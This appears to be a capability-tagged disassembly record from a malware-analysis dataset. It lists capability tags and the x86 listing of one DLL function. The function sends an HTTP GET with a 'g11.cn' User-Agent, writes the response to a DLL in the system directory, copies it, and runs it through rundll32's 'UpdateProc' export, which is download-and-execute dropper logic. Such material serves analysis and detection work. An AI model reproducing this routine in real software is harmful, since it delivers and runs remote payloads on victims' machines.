Function at 0x10004560
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Copy file
Create process on windows
Create raw socket
Create tcp socket
Create udp socket
Download and write a file
Get common file path
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket
Send http request
Send http request with host header
Write and execute a file
Write file on windows

Disassembly:
mov eax, 0x1808
call fcn.10005c30
push ebx
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x325]
mov byte [esp + 0x324], 0
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x115]
mov esi, dword [esp + 0x181c]
mov byte [esp + 0x114], al
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x21d]
mov byte [esp + 0x21c], al
mov byte [esp + 0x42c], al
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x42d]
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x100045e2
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1808
ret
lea eax, [esp + 0x324]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x10004604
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1808
ret
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x324]
push str.ntext
push ecx
lea edx, [esp + 0x11c]
push str._s_s
push edx
call edi
lea eax, [esp + 0x124]
push eax
call fcn.1000c206
lea ecx, [esp + 0x128]
lea edx, [esp + 0x230]
push ecx
push str._s_tmp.dll
push edx
call edi
lea eax, [esp + 0x134]
lea ecx, [esp + 0x44c]
push eax
push str._s_new.dll
push ecx
call edi
push 1
call fcn.10001d20
add esp, 0x30
test eax, eax
je 0x10004695
push 2
call fcn.10001d20
add esp, 4
test eax, eax
je 0x10004695
push 3
call fcn.10001d20
add esp, 4
test eax, eax
je 0x10004695
push 1
call fcn.10001d20
add esp, 4
lea edx, [esp + 0xe88]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x95]
mov byte [esp + 0x94], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [esi]
lea ecx, [esp + 0x94]
cmp al, 0x2f
lea ebp, [esi + 1]
je 0x100046db
mov al, byte [ebp]
inc ebp
cmp al, 0x2f
jne 0x100046d3
cmp byte [ebp], 0x2f
jne 0x100047ac
mov al, byte [ebp + 1]
inc ebp
cmp al, 0x2f
je 0x100046f8
mov byte [ecx], al
mov al, byte [ebp + 1]
inc ecx
inc ebp
cmp al, 0x2f
jne 0x100046ed
xor ecx, ecx
lea edx, [esp + 0x94]
mov dword [esp + 0x19], ecx
push edx
mov dword [esp + 0x21], ecx
mov byte [esp + 0x1c], 0
mov dword [esp + 0x25], ecx
mov dword [esp + 0x29], ecx
mov word [esp + 0x2d], cx
mov byte [esp + 0x2f], cl
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x100047a6
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x18]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 2
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_socket]
push 0x50
mov ebx, eax
mov word [esp + 0x30], 2
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [esp + 0x18]
mov word [esp + 0x2e], ax
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
lea edx, [esp + 0x2c]
push 0x10
push edx
push ebx
mov dword [esp + 0x3c], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x100047b9
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1808
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x535]
mov byte [esp + 0x534], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
or ecx, 0xffffffff
mov edi, str.GET
xor eax, eax
lea edx, [esp + 0x534]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x534]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x534]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._HTTP_1.1_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x534]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Accept:___r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x534]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.Host:
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x534]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x94]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x534]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1000f0c8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x534]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.User_Agent:_g11.cn_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x534]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Connection:Keep_Alive_r_n_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x538]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x538]
push ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0xa89]
mov byte [esp + 0xa88], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x13], 0
xor esi, esi
cmp esi, 0x400
jge 0x10004a0f
push 0
lea ecx, [esp + 0x17]
push 1
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov dl, byte [esp + 0x13]
mov byte [esp + esi + 0xa88], dl
inc esi
cmp esi, 4
jl 0x100049be
cmp byte [esp + esi + 0xa84], 0xd
jne 0x100049be
cmp byte [esp + esi + 0xa85], 0xa
jne 0x100049be
cmp byte [esp + esi + 0xa86], 0xd
jne 0x100049be
cmp byte [esp + esi + 0xa87], 0xa
jne 0x100049be
push 0x1000f0c8
lea eax, [esp + 0xa8c]
push str.Content_Length
push eax
call fcn.10005bb0
add esp, 8
add eax, 0xf
push eax
call fcn.10005bb0
lea ecx, [esp + 0xa90]
push str.Content_Length
push ecx
mov word [eax], 0
xor esi, esi
call fcn.10005bb0
add eax, 0xf
push eax
call fcn.10005b0e
add esp, 0x14
lea edx, [esp + 0x21c]
mov ebp, eax
push esi
push 0x20
push 2
push esi
push 1
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0x1019]
mov byte [esp + 0x1018], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test ebp, ebp
stosb byte es:[edi], al
jle 0x10004ae3
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0x101c]
push 0x400
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10004ae3
cmp eax, 0xffffffff
je 0x10004ae3
lea edx, [esp + 0x3c]
lea ecx, [esp + eax + 0x1018]
push 0
push edx
add esi, eax
push eax
mov byte [ecx], 0
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x1024]
push eax
push ecx
call edi
cmp esi, ebp
jl 0x10004a9d
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x42c]
push 0
lea ecx, [esp + 0x220]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, 0x54
xor eax, eax
lea edi, [esp + 0x935]
mov byte [esp + 0x934], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [esp + 0x21c]
lea eax, [esp + 0x324]
push edx
push eax
lea ecx, [esp + 0x93c]
push str._s_rundll32.exe__s__UpdateProc_16
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x64]
add esp, 0x10
rep stosd dword es:[edi], eax
lea edx, [esp + 0x40]
lea eax, [esp + 0x50]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x950]
push 0
push ecx
push 0
mov dword [esp + 0x78], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1808
ret